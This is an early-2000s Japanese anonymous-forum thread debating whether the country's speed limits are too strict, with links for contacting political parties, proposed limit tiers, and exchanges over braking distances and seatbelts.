一番上の「別のサイトにジャンプしようとしています。宜しければ上記のリンクをクリックしてください」をクリックして下さい。
なお、広告の並んでいるページが不快な方は、検索ページで簡単に探せると思いますのでよろしくお願いします。

あとは以下の通りです。

上記の政党URLです。
過剰なスピード規制に不満を持っている方、是非不満を訴えましょう。
他にも、警察を始めとして官僚のやりかたに不満を持っている方もどうぞ。
「官」は選挙が無いので我々市民の声が届きにくいと思いますが、選挙で選ばれる「政」なら少しは見込みが有るのではないでしょうか?

自民党 http://www.jimin.jp/ 
左側上から3段目の「募集・申込」をクリックすると細かい項目が出て来るので、一番下の「自民党に物申す」をクリックして下さい。

民主党 http://www.dpj.or.jp/ 
一番上の真中に「メール」欄が有るので、クリックして下さい。

社民党 http://www5.sdp.or.jp/central/12mail.html 
送信先のメールアドレスが出て来ます。

保守新党 http://www.hoshushintoh.com/SITE1PUB/servlet/enquete.EnqueteForm/6 
そのまま送信フォームへ行きます。

共産党 http://www.jcp.or.jp/ 
一番上の真中に「メール」欄が有るので、クリックして下さい。

公明党 http://www.komei.or.jp/ 
ココはメールで問い合わせて電話で話すシステムのようです。
もしメールで投稿出来る方法をご存知の方がいましたら、レス願います。

108 :名無しさん@お腹いっぱい。:03/11/11 21:54 ID:???
車の性能が上がったのは確かだが肝心のドライバーの平均年齢は確実に上がっているわけで・・・
つまり人間の性能は確実に下がっているわけで・・・
ブレーキ性能が上がって10メートルが5メートルで止まれるようになっていても
ブレーキペダルを踏むタイミングは確実に鈍くなっている人が増えているわけで・・・

109 :名無しさん@お腹いっぱい。:03/11/11 22:30 ID:???
>104
その死亡事故の減った要因が、タイヤの性能アップや安全性が向上したからなのか?
警視庁の発表では、シートベルト着用率のUPと医療技術の進歩が要因としているみたいだけど?

110 :名無しさん@お腹いっぱい。:03/11/11 22:38 ID:1strXXRC
>>108
それは確かに・・・
でも、「高齢化社会=初心者(高齢者より危険だと思う)が減る」という事でも有るし、全体的に危険が増す訳じゃ無いと思うけど。
いずれにしても制限速度は上限だし、反応速度が遅くなった人はそれに応じた運転をすればいいのでは?
それに、高齢者を基準にした速度制限を若い世代にもに当てはめて取り締まるのは、納得いかないな〜。
どうしても危険なら、制限速度を緩和した際に高齢者と初心者だけは、「新しい規制速度マイナス10キロまで」とかにすればいいんじゃないかな?


111 :名無しさん@お腹いっぱい。:03/11/11 22:48 ID:1strXXRC
>>109
シートベルトに関しては一理あると思う。
恐らく「シートベルト着用率アップ+車自体の安全性アップ」じゃないかな?
わずか数年で「医療技術の進歩」はないでしょ。
あるとすれば技術というより制度かな?
高規格救急車の普及や、救急救命士の行える範囲の拡大とか。
でも、それだけで2割も減るかな?
車の受動的安全性(ぶつかった際の安全性)がここ数年で各段に進歩したのは事実だよね。
あと、能動的安全性(ぶつからない為の安全性)も、現在の法定速度が定められた半世紀以上前(高速は40年位前)と比べれば、比べ物にならないほど進歩してるよね。


112 :名無しさん@お腹いっぱい。:03/11/11 23:11 ID:???
>>108
それはそうとしても大多数が制限速度を守っていない状態というのは異常だとは思わないかい?
もし本当に必要な規制であるのならもっと取締りをするなりして現状の交通事情を変えなければなるまい。
大多数が法を犯しているということは普通なら大問題であると思うが
もっと取締りをするべきだという意見は聞こえてこない。
これは世論が現在の速度制限を妥当だと考えていない証拠ではないだろうか。

本当に必要な規制でないのであれば緩和・撤廃などするべきだ。

113 :名無しさん@お腹いっぱい。:03/11/11 23:57 ID:???
現在の高性能な車よりも昔のタイヤ細くてエンジンパワー無くてブレーキしょぼくて
フレームやわい車に乗るほうが事故率は低いって交通評論家かなんかが言ってたな。
なんでかって?
怖くてあまりスピード出す気にならないからなんだって。
いやマジで。

114 :名無しさん@お腹いっぱい。:03/11/12 00:28 ID:rdI8XLbo
>>112
全く同感です。
ほとんどの人が、今みたいな厳しい規制は必要だと思ってないから、守らないんだと思います。
みんなで抗議して、撤廃させましょう!

>>113
例えば、今の車で80km出すのと昔の車で30km出すのだと、確かに昔の車で30kmの方が安全かもしれない。
でも、同じ速度なら今の車の方が遥かに安全だと思います。
それなのに、同じ規制というのは如何なものか?
あと、どの評論家が言ってたのか分からないけど、テレビ報道なら警察の意向に沿った報道が多い気がする。
新聞でさえ、66の後半に書いてるような事が有るんだから、ましてテレビだったら・・・。
まあ、計画的な世論操作は考え過ぎかもしれないけど、マスコミにとっても明らかな汚職や不正以外で警察のやり方を批判するのはやりづらいんじゃないかな。

115 :名無しさん@お腹いっぱい。:03/11/12 02:22 ID:???
>111
医療技術の進歩に関しては、つまりは24時間以上生かせることが出きるようになったということだと思う。
事故から24時間以上生きてたら、交通事故の死亡件数には数えないからね。


116 :名無しさん@お腹いっぱい。:03/11/12 05:18 ID:VJs5sBFR
>>115
わずか数年で24時間延命率が大幅に上がったの?
だとしたら凄いけど・・・。

117 :名無しさん@お腹いっぱい。:03/11/12 08:36 ID:???
>>114
10キロオーバー以上は取り締まっていないから厳しくないんじゃないの?
取り締まっていたら、厳しいといえるが・・・。

「取り締まりが甘い!」という批判ならできるだろけど。・・・



118 :名無しさん@お腹いっぱい。:03/11/12 08:46 ID:???
>>117
規制ってのは取り締まりのことじゃなくて制限速度のことを言ってるんだろが

119 :名無しさん@お腹いっぱい。:03/11/12 09:00 ID:qu7Jpkf9
>>117
に賛同。てゆうか制限速度自体は厳しいかもしれんが
取り締まり自体はそんなに厳しいとは思って無いんじゃないの、市民は。
法が適切なら遵守する、なんてヤシがどれだけいるかは知んないけど、
単純に万引きよりもリスクが低いって思ってるから平気で
違反してんじゃないか?
ちなみにウチの善良なじいちゃんは常に制限速度−5km走行。。
善良すぎて迷惑だよ。。


120 :名無しさん@お腹いっぱい。:03/11/12 21:23 ID:JyOzpn8b
>>118

その通りです。

>>119
>>単純に万引きよりもリスクが低いって思ってるから
>>平気で違反してんじゃないか?

「違反だけど危険でない速度」に関しては、それもあるかもしれませんね。
ただ大部分の市民は、「危険な速度」は出さないと思いますよ。
捕まる捕まらないの問題でなく、自分自身が死にたくないでしょうから。

>>法が適切なら遵守する、なんてヤシがどれだけいるかは知んないけど、

現状では、制限速度を厳守している人の方が少数です。
本当に適切で必要な規制なら、死にたくない人は遵守する筈では?
それに、大部分の市民が納得している規制なら、何故66の後半に書いてるような事が起きるんだろう?
66後半のような事があると当局による世論操作を疑ってしまうし、少なくとも「マスコミにとっても明らかな汚職や不正以外で警察のやり方を批判するのはやりづらい」というのは間違いなさそうな気がするんだけど、実際どうなんだろ?
当局が、規制は適切だと自信を持ってるなら、マスコミに自由な批評をしてもらっても全然問題無い筈だよね。


121 :名無しさん@お腹いっぱい。:03/11/12 21:59 ID:???
1は、一般道を何Kmの速度制限にしたらいと考えてるの?

122 :名無しさん@お腹いっぱい。:03/11/12 22:16 ID:???
>本当に適切で必要な規制なら、死にたくない人は遵守する筈では?

自分が死にたくないではなく、他人を死なせない、傷つけないとは考えないのですか?

123 :名無しさん@お腹いっぱい。:03/11/12 22:18 ID:???
>96
>法定速度や制限速度って公安がドライバー教育に自信を持っていませんって言っている様な物。
他人から教えて貰うよりも、自分で勉強して学習しろ。
自分の勉強不足を他人のせいにするな。

124 :名無しさん@お腹いっぱい。:03/11/12 22:23 ID:???
>101
>「同じ道路を、制動距離の著しく長い車(過積載車)が混じって走るのは危険」という事です。
ならば道路を走る車をすべてほぼ同じ規格にしないと無理だよ。

たとえば、二輪車と四輪車を比べる。
低速では二輪車の方が早く止まることができる。高速では四輪車の法が早く止まることができる。
その境目は車の性能、道路の状況、運転者の技術などにより異なる。

ちなみにダンプカーと普通乗用車はダンプカーの方が早く止まることができる。

125 :名無しさん@お腹いっぱい。:03/11/12 22:29 ID:???
                  ,..-──- 、
                /. : : : : : : : : : \
           冒  /.: : : : : : : : : : : : : : ヽ
            l l ,!::: : : :,-…-…-ミ: : : : :',
          ./〜ヽ{:: : : : :i '⌒'  '⌒' i: : : : :}     ________
           |__| {:: : : : | ェェ  ェェ |: : : : :}   /
.           .||ポサ.|| { : : : :|   ,.、  |:: : : :;! <  うわゎぁぁぁぁぁっ
         /|.l ン||_.ヾ: :: :i r‐-ニ-┐| : : :ノ   \
         |  ̄ -!、 ゞイ! ヽ 二゙ノ イゞ‐′      ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
         |    −!   \` ー一'´丿 \
         ノ    ,二!\   \___/   /`丶、
        /\  /    \   /〜ト、   /    l \
       / 、 `ソ!      \/l::::|ハ/     l-7 _ヽ
      /\  ,へi    ⊂ニ''ー-ゝ_`ヽ、    |_厂 _゙:、
      ∧   ̄ ,ト|    >‐- ̄`    \.  | .r'´  ヽ、
     ,ヘ \_,. ' | |    丁二_     7\、|イ _/ ̄ \
     i   \   ハ       |::::|`''ー-、,_/  /\_  _/⌒ヽ
_________________________________________________
このスレを見た人は、10年以内にかならず氏にます。
でも、逃れる方法はあります、
※10日以内に20箇所のスレにこれをはるのです。
すみません、僕、氏にたくないんだす


126 :名無しさん@お腹いっぱい。:03/11/12 22:43 ID:s5P42eEB
>>121
以下の通りです。

1)80km
歩道と車道が分離されている幹線道路。

2)100km
(1)の条件に加えて、郊外のバイパスなどで平面交差点や路地が非常に少ない道路。

3)60km
財政的に歩道の設置が不可能な幹線道路。

4)70km
(3)のうち、郊外で人口密度の極めて低い地域。

5)30-40km
住宅地や市街地の生活道路。
特に人車混合交通の所は、取り締まりよりも実効性の高い路面の凹凸などの方法も併用。

6)原付の30km規制は廃止

7)自転車は歩道走行を原則とする(現状は逆)。

というのはいかがでしょうか?
(4)についてはかなり迷いました。
地方に住んだ経験をお持ちの方でしたら分かると思いますが、結構こういう道は多いんです。
実体に合わせる方向で考えると80km、歩道が独立して無いので60km、結局両者の間を取って70kmではどうかと思うんですが。

この内容でしたら、無理なく大部分の市民が納得して守れると思います。

127 :名無しさん@お腹いっぱい。:03/11/12 22:58 ID:???
>>126
すんません、いくら読んでも危険としか感じません。
大部分の市民も納得しないと思うっす。

このスレで何度かあがっていた車の性能の近年の向上
たとえば制動力の点から考えても80Km前後での運転は危険っす。

128 :名無しさん@お腹いっぱい。:03/11/12 23:00 ID:???
>126

>1)80km
>歩道と車道が分離されている幹線道路。
中央分離帯は要らないの?歩道と車道の間にガードレールや植栽も欲しいね。
車線の幅は何メートル以上欲しいかな?3.5m以上?4.0m以上?

>2)100km
>(1)の条件に加えて、郊外のバイパスなどで平面交差点や路地が非常に少ない道路。
1)に同じ。ただし条件はさらに厳しく

>3)60km
>財政的に歩道の設置が不可能な幹線道路。
人が歩いているすぐ横を自動車やバイクが60キロで走り抜けるのはとっても危険だと思います。


>4)70km
>(3)のうち、郊外で人口密度の極めて低い地域。
歩行者や自転車のことももう少し考えましょう。そこは絶対に歩行者がいない道路ですか?動物が飛び出したりはしませんか?道路の見通しはどうですか?道路の幅はどのくらいですか?

>5)30-40km
>住宅地や市街地の生活道路。
>特に人車混合交通の所は、取り締まりよりも実効性の高い路面の凹凸などの方法も併用。
このような道路で規制に頼るべきではない。自分の責任で適切な速度を判断すべき。30キロでも速すぎる道路も多い。

>6)原付の30km規制は廃止
では、原付免許も廃止して二輪免許に統合ですね。普通免許で乗ることができるミニバイクはなくなりますね。
原付免許を残したままの30キロ規制廃止は無理ですよ。

>7)自転車は歩道走行を原則とする(現状は逆)。
時代の変化かな。それも1つの意見と思います。常に歩道通行可とするのが現実的と思います。
状況によりどちらを通行すべきなのかが分かれますから。

129 :名無しさん@お腹いっぱい。:03/11/12 23:03 ID:???
>>128
おつ

130 :名無しさん@お腹いっぱい。:03/11/12 23:12 ID:s5P42eEB
>>127
>>大部分の市民も納得しないと思うっす。
夜間など交通量の少ない時間帯は、実際に大部分の車がこれくらいの速度で走ってませんか?
あくまで上限ですから、時間帯や天候によって適切な速度で走れば良いと思うのですが。

>>いくら読んでも危険としか感じません。
メーカーがコンクリート壁への衝突試験を行う速度が、55kmですよね。
車種や条件にもよるでしょうが、大抵の事故はコンクリート壁よりも軟いものにぶつかりますし、ノーブレーキでぶつかるのは居眠りなどの稀なケースでしょう。
そう考えると、80km走行で死亡者が続出する事は無いと思いますが。

勿論、歩行者は別です。
従って、生活道路は(5)にもあるように、現状よりも実効性の有る対策を提示してます、

シートベルト非着用で死亡する人は増えるかもしれません。
でも、それは本人の責任だと思います。
今時シートベルトが付いてない車なんてないですし。

131 :名無しさん@お腹いっぱい。:03/11/12 23:17 ID:???
>あくまで上限ですから、時間帯や天候によって適切な速度で走れば良いと思うのですが。
現状の法規制もそうやって考えれば? なにか不都合でも?

132 :名無しさん@お腹いっぱい。:03/11/12 23:40 ID:s5P42eEB
>>122
>>本当に適切で必要な規制なら、死にたくない人は遵守する筈では?
>自分が死にたくないではなく、他人を死なせない、傷つけないとは考えないのですか?

そう考える人が多いと思いますよ。
当然「必要な規制なら遵守」しますよね
一方、仮に人を傷つける事を何とも思わない人が居ても、幹線道路では加害者となる可能性と同様に被害者になる可能性も有りますから、「必要な規制なら遵守」しますよね。
従って、やはり殆どの人は必要な規制なら遵守する筈です。
それなのに大部分のドライバーが遵守していないと言う事は、「必要な規制では無い」のではないですか?

>>123
>>法定速度や制限速度って公安がドライバー教育に自信を持っていませんって言っている様な物。
>他人から教えて貰うよりも、自分で勉強して学習しろ。
>自分の勉強不足を他人のせいにするな。

もしそうなら、何故運転するのに免許が必要なのですか?
どうして教習所が必要なんですか?
まさか、警察OBの雇用確保の為なんて言うんじゃないでしょうね(w

>>124
>>「同じ道路を、制動距離の著しく長い車(過積載車)が混じって走るのは危険」という事です。
>ならば道路を走る車をすべてほぼ同じ規格にしないと無理だよ。

厳密に言えばその通りですね。
制動距離は、「空車の貨物車<乗用車<満車の貨物車」でしょう。
同じ乗用車でも、ポルシェと軽自動車では違うでしょうね。
ただ、私が言ったのは「制動距離の著しく長い車(過積載車)が混じって走るのは危険」という事です。
標準的な車両よりも3-4倍も制動距離の長い車両が混じるのは、危険だと思いませんか?


133 :名無しさん@お腹いっぱい。:03/11/13 04:04 ID:yqU3bGda
>>128
>>1)80km
>>歩道と車道が分離されている幹線道路。
>中央分離帯は要らないの?
必要です。
あと、分離帯上の柵も出来れば有った方がいいですね。
横断禁止の道路を横断しようとする歩行者を抑止する為です。

>歩道と車道の間にガードレールや植栽も欲しいね。
ガードレールは有った方がいいですが(歩行者が車道へ転落するのを防止する為)、植栽はスペースに余裕が有ったら設けるという程度でいいと思います。
植栽はスペースを取るので場合によっては拡幅が必要になりますし、転落防止ならガードレールか柵で十分でしょう。

>車線の幅は何メートル以上欲しいかな?3.5m以上?4.0m以上?

現状のままでいいと思います。

>>2)100km
>>(1)の条件に加えて、郊外のバイパスなどで平面交差点や路地が非常に少ない道路。
>1)に同じ。ただし条件はさらに厳しく
そうですね。
100kmなら4輪搭乗者でも死亡する可能性が十分有りますし、条件はある程度厳しくていいと思います。
まあ、高速道路と一般道の中間的な道路といった感じでしょう。

>>3)60km
>>財政的に歩道の設置が不可能な幹線道路。
>人が歩いているすぐ横を自動車やバイクが60キロで走り抜けるのはとっても危険だと思います。


もちろん歩行者のすぐ横を走りぬける場合は減速すべきです。
上限(規制速度)は60kmで良いと思うんですけど、どうでしょう?

134 :名無しさん@お腹いっぱい。:03/11/13 04:08 ID:yqU3bGda
(続きです)

>>4)70km
>>(3)のうち、郊外で人口密度の極めて低い地域。
>動物が飛び出したりはしませんか?
この点に関しては、70kmで問題無いと思います。
4輪で走ってて危険な程大きな動物が飛び出して来るのは極めて稀ですし、そのようなレアケースで、尚且つ回避出来なかった場合は致し方ないでしょう。
70kmで走行中に猪にぶつかっても、ノ−ブレーキやノーベルトでない限り重傷事故や死亡事故にはならない筈です。
まあ、大型動物の飛び出しが稀でない区間は(3)と同じにするか、警告標識で注意を促すべきですね。

>道路の見通しはどうですか?道路の幅はどのくらいですか?

見通しの悪いカーブなどでは、当然減速しましょう。
あくまで上限(制限速度)が70kmという事で。
幅に関しては問題無いと思います。
あくまでセンターラインの有る幹線道路の話ですから。

>そこは絶対に歩行者がいない道路ですか?
問題はその点ですね。
その点は迷いましたし、「だから(3)と同じ60km」というのも一つの考え方でしょう。
ただ、この手の道は、速度上昇が最も移動時間短縮に直結する道路です。
財政上の理由から地方の高速道路建設が難しくなった以上、地方の道路交通の利便にも出来る限り配慮すべきでしょう。
80kmとは言いませんが、70km位は認めても良いのではないかと思います。
無論、飛び出し歩行者に対する見通しの良し悪しなどを考慮して適宜ブレーキに足を乗せて通過したり、場合によっては減速する事も必要でしょう。

この(4)に関しては、最終的には価値判断の問題になると思いますし、60kmという考え方も有るとは思います。

135 :名無しさん@お腹いっぱい。:03/11/13 04:09 ID:yqU3bGda
(続きです)

>>5)30-40km
>>住宅地や市街地の生活道路。
>このような道路で規制に頼るべきではない。自分の責任で適切な速度を判断すべき。30キロでも速すぎる道路も多い。

いや、むしろ逆だと思います。
生活道路は、自分が危険にさらされない速度でも、相手(歩行者など)を危険にさらす可能性が高い道路です。
つまり、これまで再三申し上げた「死にたくないから危険な速度では走らない」という事が、唯一当てはまらない道路です。
こういう道路こそ、本当に規制(凹凸も含む)が必要なのではないでしょうか?

>>6)原付の30km規制は廃止
>原付免許を残したままの30キロ規制廃止は無理ですよ。

何故でしょうか?
同じ技量のライダーでも、30kmで走るよりも流れに乗って走る方が危険が少ないと思うのですが。
自動2輪は重量が有るので別免許というのは分かります。
扱いも難しいですしね。
でも、原付は軽いですし、高速道路を走る訳でも有りません。

原付については、免許の基準は現在のままで30km規制を解除しても良いと思います。
事故の際、加害者よりも被害者になる可能性が高いので、簡易な原付免許で運転しても無茶な運転はしないと思います。


>>7)自転車は歩道走行を原則とする(現状は逆)。
>時代の変化かな。それも1つの意見と思います。常に歩道通行可とするのが現実的と思います。

この点は大筋では意見が一致したみたいですね。
関係者の方、是非一日も早い実現を期待しています。

136 :名無しさん@お腹いっぱい。:03/11/13 10:08 ID:pDAFo54b
高速だけ160にしておくれな。

137 :名無しさん@お腹いっぱい。:03/11/13 10:50 ID:???
制限速度撤廃!
事故る奴は運か頭のどちらか悪いか、又は両方悪い。

138 :名無しさん@お腹いっぱい。:03/11/13 12:02 ID:???
>>137
お前は後者が悪そうだな。
俺も現状の制限速度は低すぎると思うし
自爆事故するやつのことなんて考えてやらなくていいと思う。
ただし交通弱者・もらい事故する側のことはきちんと考えなくちゃいかんだろ。
正直お前の書き込みは現状マンセー派の嫌がらせに思えるぞ。

139 :名無しさん@お腹いっぱい。:03/11/13 22:03 ID:???
このスレ1が一部分をコピペして、意見する方法をとってるんで
(まあその方が、論破しやすいもんな、なあ1よw)
全体的に見ると1の意見も辻褄が合わないところがでてきてる

1のまねしてみよ。
>だからこそ、今こそ声を挙げましょう!(81-82参照)
官僚の怠慢を許してはなりません。
前例に従っているだけの、実体とかけ離れた規制に対して、市民が黙ってないという事を示そうではありませんか。

そうですね、ではまずあなたが率先して「具体的な行動」をおこしてください
他力本願すぎやしませんか?エンドレスな討論をしたところでそれこそ非効率的でしょう
大多数の人々が自分の意見に賛同していると妄想を抱いているのではないですか?

なんてな〜
1あんた、自分の意見に反対するやつをたんに論破したいだけじゃないの?
何か1方向からしか物見れないよね〜視野が狭いっつーか、全体的に物事を見れないっつーか
ちまちました、書き込みはもういいから 規制を撤廃したいならしたいなりに
具体的なこと書き込めよ

つまんねークソスレだな。

140 :名無しさん@お腹いっぱい。:03/11/13 23:31 ID:VrGbuqAT
まずシートベルトを付けないと、車が発進出来ないようにしろよ
事故死は確実に減るぜ。

おっとバックは出来るようにしろよ。>メーカ

141 :名無しさん@お腹いっぱい。:03/11/13 23:35 ID:VrGbuqAT
俺は北海道に今住んでいるが、日本の道交法が適用されてるのは
信じられないね。

あの広い道路で速度規制が60Km/hなのか小一時間・・・・・
まあ全国の交通事故死もワースト1だがな・・・

142 :名無しさん@お腹いっぱい。:03/11/13 23:39 ID:VrGbuqAT
連かきこすまんが・・

北海道では同じ60Km/hの道でも夏と冬で路面状態が違う。
多くのドライバーは夏は80-90km/hで走るが
冬は制限速度にかかわらず、20-40Km/hで判断して走ってるぞ。

もう少しドライバーを信じれ。
その上で違反を犯す奴に厳しくしろ

143 :名無しさん@お腹いっぱい。:03/11/13 23:45 ID:VrGbuqAT
更に続けると

一般路面での限界速度がわかってない奴が多すぎるぞ。

多くの交通事故死は速度超過が原因だが、超過を判断する
のは法廷速度ではなくその時その路面での安全速度だ。

それをわからせる教育をすれ

144 :名無しさん@お腹いっぱい。:03/11/13 23:49 ID:VrGbuqAT
まだまだ続けるぞ、

公団や国交省・道路建設業者にはどのような道が安全か
ちゃんとデータを持ってるぞ。

利権に流されず、危険な道・必要な道から順次直せ。
道路会社にPFI等で交通事故死減少を競わせれ

事業費は固定でな。

145 :名無しさん@お腹いっぱい。:03/11/13 23:54 ID:VrGbuqAT
調子に乗ってきたぞでも最後だ

警察は消えろ(交通課)いらん金ばかり使って事故は
一向に減らない。最近減っているのは車の安全性能が
上がったからだけだ。

違反者講習なども金の無駄使いだ。民間に任せれば
半分の金額で運営出来るぞ。

ちゃんとすれば、今のような速度規制はなくなるだろう。

長々とすまん。

146 :名無しさん@お腹いっぱい。:03/11/14 11:52 ID:gQSUsKeQ
>>139
>>そうですね、ではまずあなたが率先して「具体的な行動」をおこしてください
>>他力本願すぎやしませんか?

66後半でも申し上げたように、今の日本ではこの問題についてマスコミにとってもタブーで、触れられないのでは?と考えています。
ですから、こういった場で自由に意見を交換する事自体、有意義だと思います。
賛成意見、反対意見(関係者の方も含めて)など、色々な意見を交換する場となり、それを見た人にも考える材料にして頂ければ幸いです。

あと、もし「速度規制緩和」に向けて具体的な行動を起こそうという考えを持って下さる方が居た場合の提案も、107でさせて頂いてます。
107については、考え方として市民運動の街頭署名を参考にしています。
ただ、実名で警察に者申すような事は言いにくいし、署名しにくいでしょう。
そこで、「メールで」という訳です。
多くの人が速度規制の緩和を望んでいるという事を当局に伝える事自体、意義の有る事だと思います。

>>大多数の人々が自分の意見に賛同していると妄想を抱いているのではないですか?

多くのドライバーはどのように運転しているでしょうか?
66後半で説明したような事(意図的だという証拠はありませんが)までしないと維持出来ない制度って、一体何でしょうか?
そう考えると、大多数の人がどう考えているかは明らかだと思うのですが。

147 :名無しさん@お腹いっぱい。:03/11/14 11:59 ID:gQSUsKeQ
>>140
>>まずシートベルトを付けないと、車が発進出来ないようにしろよ
>>事故死は確実に減るぜ。

その通りですよね。
個人的には「ノーベルトで事故死するのは本人の責任だから、取り締まりもその他の対策も不用」と考えてます。
でも警察は「ノートベルトによる死者も防ぎたい」が建前ですよね。
本気でそう思うなら、運転席がノーベルトでは前進出来なくするとか、警告音が鳴りつづけるようにするとかするのが筋ですよね。


148 :名無しさん@お腹いっぱい。:03/11/14 12:17 ID:gQSUsKeQ
>>141-145
>>多くの交通事故死は速度超過が原因だが、超過を判断する
>>のは法廷速度ではなくその時その路面での安全速度だ。
>>それをわからせる教育をすれ

その通りだと思います。
現実に誰も守らないような過剰な規制ではなく、きちんとドライバーが判断出来るようにサポートするのが当局の役割ではないでしょうか?

例えば高速道路で「RXX」(カーブがどれ位急かを表す)という看板がありますよね。
あれってドライバーへの情報提供という点で、素晴らしいやり方ですし、もっと多くの道路に普及させるべきだと思いますが、設置者は国土交通省でしょうか?

一方、「スピードは控えめに」なんて看板が見られますが、あれって年間一千億近くの反則金収入で作られてるんでしょうか?それとも交通安全協会費(免許更新の際に払う?)で作られてるんでしょうか?
どう考えても効果的とも説得力があるとも思えませんが、上記の「RXX」の看板よりもずっと多いように思うのは私だけでしょうか?

あと教習時にも、急ブレーキ等スリップ時の車の挙動体験とかもっと充実させるべきでしょう。
今でも全くやってない訳ではないでしょうけど、「一応やってます」といった程度では?


149 :名無しさん@お腹いっぱい。:03/11/14 12:25 ID:???
>>まずシートベルトを付けないと、車が発進出来ないようにしろよ
>>事故死は確実に減るぜ。

これは確かにそうなんだけどねぇ。車は国産だけじゃなく輸入車もあるわけで
そうゆうもんを義務化すると貿易障壁だなんだとクレームがね。
日本のお上は外圧にはひじょーに弱いので期待できませんな。
警告音くらいなら簡単に出来るだろうけど簡単に殺せるわけで
ノーベルト常習者には効果薄いだろうね。

俺は保険会社がノーベルトでの死傷者に対しては
全く保険金を払わないことにしたらどうかと思うんだが。
保険会社のリスクも減り保険金も安く出来るのではないか?
もちろんこれは被保険者及び同乗者が死傷した場合で
相手側の死傷に対する賠償金は出ないと困るのだが
その場合でも相手がノーベルトであった事の過失分は減額して構わないと思う。

150 :名無しさん@お腹いっぱい。:03/11/14 12:29 ID:gQSUsKeQ
>>141-145
>>警察は消えろ(交通課)いらん金ばかり
>>使って事故は一向に減らない。

今のように、現状に即してない規制に基づいて漫然と取り締まりをしても、事故はなかなか減らないでしょう。
そして、「事故が減らないから増員(記憶違いで無ければ、交通関係も一緒に増員だったと思います)」というのは、おかしいですよね。


151 :名無しさん@お腹いっぱい。:03/11/14 19:50 ID:???
ひゃっほー

152 :名無しさん@お腹いっぱい。:03/11/15 11:58 ID:zWSct73C
>>136
>>高速だけ160にしておくれな。

一般の高速道に関しては、最高速度は160kmでも問題無いと思います。
山間部のカーブの多い区間(現状常時80kmになってるような所)や、都市部の片側3車線高速道路(首都高湾岸線など)は140kmの方が良いかもしれませんが。
あと、郊外の首都高速は120km、都心部は100km(但し100kmで曲がれないカーブも有るので、「ROO」表示は必須)で良いと思います。
阪神高速も、同様に考えて良いと思います。

ただ、以下のような対策は必要でしょう。
道路管理者による対策
1)最低速度の引き上げ(最高速度160km区間は、最低速度100km)。
2)ROOO表示の整備を進める(160km走行なら、R800以下のカーブには全て設置して欲しい)。
3)技術の進歩にあわせて、車両整備の保安基準の見直し(ブレーキ性能・その他安全性能の見直し)。
ドライバーによる対策
1)低速車を追い抜く際には減速する(160kmで100kmの車両を抜くと、速度差60kmになり、万一低速車が後方確認を怠って割り込んで来たら非常に危険)。
2)流入口付近など、減速すべき時には思い切って減速する。
3)雨天時には減速。
4)あくまで「最高限度160km」である事を認識して、道路状況や車の性能に応じた速度で走る(例えば、満車の大型トラックが160kmで走ったら、現状の保安基準では危険ですよね)。
これで、かなり危険性を回避しつつ高速運行が可能になる筈ですが、如何でしょうか?

153 :名無しさん@お腹いっぱい。:03/11/15 11:58 ID:zWSct73C
>>144
>>利権に流されず、危険な道・必要な道から順次直せ。
>>道路会社にPFI等で交通事故死減少を競わせれ

素晴らしいアイデアだと思います。
現状の道路行政は、国土交通省・道路公団・警察と分野別に分かれているようですね。
その為に、例えば警察は事故件数と関係無い利便性等には殆ど関心が無くなってしまっているように思えます。
これをまずは一本化。
年間1000億近い反則金収入を原資とした、「交通安全対策特別交付金」などという不明朗なものは廃止。
そして、安全・利便性・利用者の満足度・環境など各分野にポイント制の評価手法を導入。
ポイントの割り振りに関しては、世論調査などの評価を元に行う。
世論調査は中立な機関による匿名方式で行う。
勿論、警察官による面接方式などは論外(66後半参照)。

その上で民間委託。
成果を挙げられない業者は翌年から解任。
あと、定期的な世論調査で解任を求める声が一定割合を超えたら、無条件で解任というのも必要かもしれません。
「利用者はお客様」という意識を持って貰いたいですね。
我々の税金で作っている道路なんですから。


154 :128:03/11/15 13:12 ID:???
>133-135
あなたは基本的に車のことしか考えていない。
道路には車の他に、自転車もいる、歩行者もいる。
それらが交錯している。

その車の考え方にしても、車の限界は少しは考えているようだが、人間の限界を考えていない。
車の運転をするのはあくまで人間。その判断能力、行動力には限界があり、その限界は想像しているよりも遙かに低い。

余談
原付の30キロ規制解除したら普通二輪免許(小型限定)と何が違うの?
原付免許を廃止して原付を二輪車と同じとするか、現状のままかのどちらかだね。

155 :名無しさん@お腹いっぱい。:03/11/15 20:41 ID:???
>《疑問》日本の速度規制って厳し過ぎない?

答え:いいえ全然。

156 :名無しさん@お腹いっぱい。:03/11/16 03:18 ID:sZ+MWHYo
>これは確かにそうなんだけどねぇ。車は国産だけじゃなく輸入車もあるわけで
>そうゆうもんを義務化すると貿易障壁だなんだとクレームがね。
>日本のお上は外圧にはひじょーに弱いので期待できませんな。

その通りなんだが、輸入車に乗ってる奴は比較的事故するような
人は少ないから国産だけでもいいだろう。

別に法的根拠がなくても国交省が指導すればするだろ>メーカ

話しは飛ぶが都の条例で排ガス規制が掛けられたように、
環境に並んで大事な事故減少にも適用出来るだろ。

官民の原資で(反則金と保険会社・車メーカの寄付)で出来るだろ。

157 :名無しさん@お腹いっぱい。:03/11/16 03:25 ID:sZ+MWHYo
年間1万人が交通事故死する現状はどう考えても異常だ。

道交法を厳しくしても、法そのものを遵守する精神が希薄なんだから
しようがない。

金をうまく使え。

158 :名無しさん@お腹いっぱい。:03/11/16 03:28 ID:sZ+MWHYo
続けて書くが

交通事故死というのは事故後24時間(だっけ)に死亡した人間の
数だから、実際はもっと多いわけだ。

地元の警察が病院になんとか1日持たせろなんて会話がある(そうだ)
ばかげた話しだ。


159 :名無しさん@お腹いっぱい。:03/11/16 08:52 ID:???
>>157
>道交法を厳しくしても、法そのものを遵守する精神が希薄なんだから
しようがない。

遵守させるため、取り締まりを厳しくすればいいって事?
賛成!!!!!!

160 :名無しさん@お腹いっぱい。:03/11/16 12:20 ID:???
>>159

遵守しようとしないなら、遵守させなければならない。
そのためには取り締まりが一番必要!

国も潤うし一石二鳥。



161 :名無しさん@お腹いっぱい。:03/11/17 15:22 ID:???
高速道路は160キロ規制でも大丈夫と言っている人がいるようなので、160キロの危険性について少々。

ちなみに誰もいない道路を1台の車が走行するのであれば、その車の性能と運転者の能力に応じて走行することができる。車と人を選べば160キロでも遅いくらいでしょう。
しかし現実はそうではないのであきらめていただきたい。

ものの本を読むと、人の反応時間(危ないと思ってからブレーキがきき始めるまでの時間)は約0.75秒、急ブレーキをかけたときの摩擦係数が約0.5とあるので、これを基準に計算します。

まず参考として、40km/hのとき
空走距離は約8.3m、制動距離は約12.6m、あわせて停止距離は約20.9m。
